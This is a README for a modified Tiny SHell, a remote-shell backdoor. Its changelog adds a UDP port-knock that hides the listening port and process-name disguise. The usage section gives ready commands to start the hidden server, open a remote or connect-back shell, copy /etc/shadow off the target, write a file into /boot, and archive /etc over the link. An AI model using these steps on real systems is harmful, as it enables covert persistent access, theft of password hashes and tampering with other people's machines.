#TinyShell

##What's new

• add udp knock, expose tcp port after right knock
• add process name confusion

based on https://github.com/infodox/tsh-sctp

modified by md5_salt

##Ussage

• Compiling Tiny SHell

  Run "make ", where can be any one of these: linux, freebsd, openbsd, netbsd, cygwin, sunos, irix, hpux, osf

• How to use the server

  It can be useful to set $HOME and the file creation mask before starting the server:

    % umask 077; HOME=/var/tmp ./tshd
  

• How to use the client

  Make sure tshd is running on the remote host. You can:

  • start a shell:

    ./tsh

  • execute a command:

    ./tsh "uname -a"

  • transfer files:

    ./tsh get /etc/shadow . ./tsh put vmlinuz /boot

  Note: if the server runs in connect-back mode, replace the remote machine hostname with "cb".

• About multiple file transfers

  At the moment, Tiny SHell does not support scp-like multiple and/or recursive file transfers. You can work around this bug by simply making a tar archive and transferring it. Example:

  ./tsh host "stty raw; tar -cf - /etc 2>/dev/null" | tar -xvf -

  On some brain-dead systems (actually, IRIX and HP-UX), Ctrl-C and other control keys do not work correctly. Fix it with:

    % stty intr "^C" erase "^H" eof